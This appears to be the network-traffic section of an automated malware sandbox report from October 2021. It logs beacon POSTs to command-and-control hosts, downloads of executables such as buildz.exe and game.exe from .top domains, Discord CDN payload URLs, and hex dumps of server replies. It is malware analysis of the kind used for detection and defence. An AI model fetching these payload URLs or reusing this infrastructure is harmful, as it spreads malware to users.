Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fbwxingfx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 282Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uqnilqvafj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 295Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uxxij.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 343Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mfupni.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: GET /dl/buildz.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: znpst.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mdmxj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 246Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 190Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mkuggmqtkl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 309Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 267Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fanpfs.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ertjun.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hxkblthegf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mhnxbctxee.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: 193.56.146.214
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 309Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 140Host: nusurtal4f.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://htsentk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 203Host: 193.56.146.214

Source: global traffic

TCP traffic: 192.168.2.3:49844 -> 93.115.20.139:28978

Source: B4BD.exe	String found in binary or memory: http://fontello.com
Source: B4BD.exe, 00000018.00000002.526101885.00000000031E1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 69D3.exe, 00000024.00000003.511301057.0000000002EBB000.00000004.00000001.sdmp	String found in binary or memory: http://telegalive.top/
Source: 69D3.exe, 00000024.00000003.511301057.0000000002EBB000.00000004.00000001.sdmp	String found in binary or memory: http://telegalive.top/ah
Source: 4F44.exe, 00000028.00000000.498089312.00000000003F2000.00000002.00020000.sdmp	String found in binary or memory: http://tempuri.org/DetailsDataSet1.xsd
Source: dfsvc.exe, 00000022.00000000.471569387.0000000000402000.00000040.00000001.sdmp, DataSvcUtil.exe, 00000025.00000000.488797588.0000000000402000.00000040.00000001.sdmp, AddInUtil.exe, 00000027.00000000.494537883.0000000000402000.00000040.00000001.sdmp, 4F44.exe, 00000028.00000000.514503943.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: B4BD.exe, 00000018.00000002.526101885.00000000031E1000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: B4BD.exe	String found in binary or memory: https://cdn.discordapp.com/attachments/8
Source: 4F44.exe, 00000028.00000000.498089312.00000000003F2000.00000002.00020000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg
Source: 4F44.exe, 00000028.00000000.498089312.00000000003F2000.00000002.00020000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg
Source: B4BD.exe, 00000018.00000002.526101885.00000000031E1000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg
Source: B4BD.exe, 00000018.00000002.526101885.00000000031E1000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg

Source: unknown

DNS traffic detected: queries for: xacokuo8.top

Source: C:\Users\user\AppData\Local\Temp\39F6.exe

Code function: 35_2_004070B4 HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

35_2_004070B4

Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic	HTTP traffic detected: GET /dl/buildz.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: znpst.top
Source: global traffic	HTTP traffic detected: GET //l/f/SZ0UyXwB3dP17Spzhll9/67689860df0c3d84c593b744292fd16b236de234 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 91.219.236.97

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f0 1c b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c2 55 a1 b9 67 f4 25 45 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%EQAc}yc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 23 9f 87 cd 2b 80 78 51 a1 a2 8f 3c 08 d8 1c e0 32 02 50 08 08 d0 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 81 8a 20 59 55 11 5c b8 e6 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 81 ff cc 8a 40 d8 06 0e 45 87 1b 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 30 4d 6b 0e e1 a2 22 48 12 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 e2 5f 96 da 19 d1 3a 2d 6e 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 2d 77 14 2c d0 e8 b1 14 b9 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 e2 49 64 cd 25 5c 8d b7 73 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 07 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6f c9 ae 88 3b 95 36 e1 48 50 67 79 50 b8 81 be e6 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 